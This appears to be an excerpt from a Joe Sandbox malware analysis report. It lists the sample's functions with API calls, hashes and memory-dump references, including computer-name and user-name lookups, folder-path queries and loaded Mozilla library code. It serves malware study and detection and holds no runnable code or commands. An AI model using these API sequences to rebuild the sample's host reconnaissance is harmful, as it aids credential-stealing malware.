Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 9803c491e14d8962d2ddf9b15d56ab36d65332b1621f051aeecab8678b56903c
Instruction ID: dbb80011395aaf626263b5d6cf7e457002381e0222dd79bb3906fce889aae792
Opcode Fuzzy Hash: 9803c491e14d8962d2ddf9b15d56ab36d65332b1621f051aeecab8678b56903c
Instruction Fuzzy Hash: 0E019B7690020867C755FB74DC82EEE737CAB65300F004584F689AB191EEB5AA8DDFD2

Function 003210A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 003210B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 003210F7

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 066dd5887b72afb7a7700ced5af50f54bc20cb61a8232fc444fb4a0e39fa1d86
Instruction ID: 25694bb7fa5ccf1271f2933bb188a52d4087fdab12344c01ddd42af8c8c75619
Opcode Fuzzy Hash: 066dd5887b72afb7a7700ced5af50f54bc20cb61a8232fc444fb4a0e39fa1d86
Instruction Fuzzy Hash: ABF02771641318BBE7149BA8AC49FBFB7ECE705B15F305448F504E7280D572AF44DAA0

Function 00338D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00321B54,?,?,0034564C,?,?,00340E1F), ref: 00338D9F

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 7a98c30a0808a0e09392fbe94e742668f91b2cb0d598ee04f16bca4a4ec4ccf3
Instruction ID: 62cc0e07e60e5759253a74e5d8b68deb95e9064db7d1451223e6608e852a39ee
Opcode Fuzzy Hash: 7a98c30a0808a0e09392fbe94e742668f91b2cb0d598ee04f16bca4a4ec4ccf3
Instruction Fuzzy Hash: FEF0A571C00308EBCB06EFA8D5996DCBB74EB10310F108199E8666B2D1DB745A59EF81

Function 00338DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00338E0B

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 812365b24927a55a75b698410983de24dd3b9e031081b44d13db0446c597bf17
Instruction ID: 45451ef97bcb7fd8f14a336ee7e7490baddd57f4184194b6c32ddefd57616202
Opcode Fuzzy Hash: 812365b24927a55a75b698410983de24dd3b9e031081b44d13db0446c597bf17
Instruction Fuzzy Hash: E0E01A31A4034C6BDB91EB94CCD6FAE737C9B44B01F004295BA0C9B1C0DE70AB868B91

Function 00321190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 003378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00337910
Part of subcall function 003378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00337917
Part of subcall function 003378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0033792F

Part of subcall function 00337850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003211B7), ref: 00337880
Part of subcall function 00337850: RtlAllocateHeap.NTDLL(00000000), ref: 00337887
Part of subcall function 00337850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0033789F

ExitProcess.KERNEL32 ref: 003211C6

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: ed2a48753433a65663240951793fa538ee9b71c3b8c6fb1e8ed2f5d030b7e428
Instruction ID: 630ebe7820db32b678270d7fb65046ba11dcca90a03de5378373e899d63dc4e8
Opcode Fuzzy Hash: ed2a48753433a65663240951793fa538ee9b71c3b8c6fb1e8ed2f5d030b7e428
Instruction Fuzzy Hash: 5BE012B591430953CE1173B8BD4BB2A339C9B34345F040425FA05EB212FAA5F8149967

Function 00338E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00338E52

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 7c30716850a481a63699621c61d798dbabf3c90f0c20e5038ab548145e9ab1bb
Instruction ID: 88c4d807c90bebe5cd490d8edb43c2c9d8711af5cba958cb9a2c685314dcc568
Opcode Fuzzy Hash: 7c30716850a481a63699621c61d798dbabf3c90f0c20e5038ab548145e9ab1bb
Instruction Fuzzy Hash: B701F631A04208EFCB06CF98C5C5BACBBB5EF04709F288488E9056B390C7756E84DB85

Non-executed Functions

Function 6C665440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C665492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6654BE
__Init_thread_footer.LIBCMT ref: 6C6654DB

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C665516
GetCurrentThreadId.KERNEL32 ref: 6C66556A
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665577
moz_xmalloc.MOZGLUE(00000070), ref: 6C665585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C665590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6655E6
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C665616

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetCurrentThreadId.KERNEL32 ref: 6C66563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C665646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C66567C
free.MOZGLUE(?), ref: 6C6656AE

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6656E8
GetCurrentThreadId.KERNEL32 ref: 6C665707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C66570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C665729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C66574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C66576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C665796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6657CA

Strings

[I %d/%d] profiler_init, xrefs: 6C66564E
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C665C56
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C66584E
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C665CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C665B38
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C665D1C
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C665AC9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C665D2B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
GeckoMain, xrefs: 6C665554, 6C6655D5
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C665D24
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C665BBE
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C665D01

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction ID: 177a8c64f2d46a8a752f75fa61e52c8de68fafea378d92d8cf6f77fefddd9d63
Opcode Fuzzy Hash: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction Fuzzy Hash: 2D2205709043419FDB009F76C89666ABBB5AF8734CF04462AE94A87F42EB31E445CB5F

Function 6C666C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C666CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C666D26

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C666D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C666D73
free.MOZGLUE(00000000), ref: 6C666D80
CertGetNameStringW.CRYPT32 ref: 6C666DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C666DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C666DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C666E10
CryptMsgClose.CRYPT32(00000000), ref: 6C666E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C666E34
CreateFileW.KERNEL32 ref: 6C666EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C666F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C66709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C667103
free.MOZGLUE(00000000), ref: 6C667153
CloseHandle.KERNEL32(?), ref: 6C667176
__Init_thread_footer.LIBCMT ref: 6C667209
__Init_thread_footer.LIBCMT ref: 6C66723A
__Init_thread_footer.LIBCMT ref: 6C66726B
__Init_thread_footer.LIBCMT ref: 6C66729C
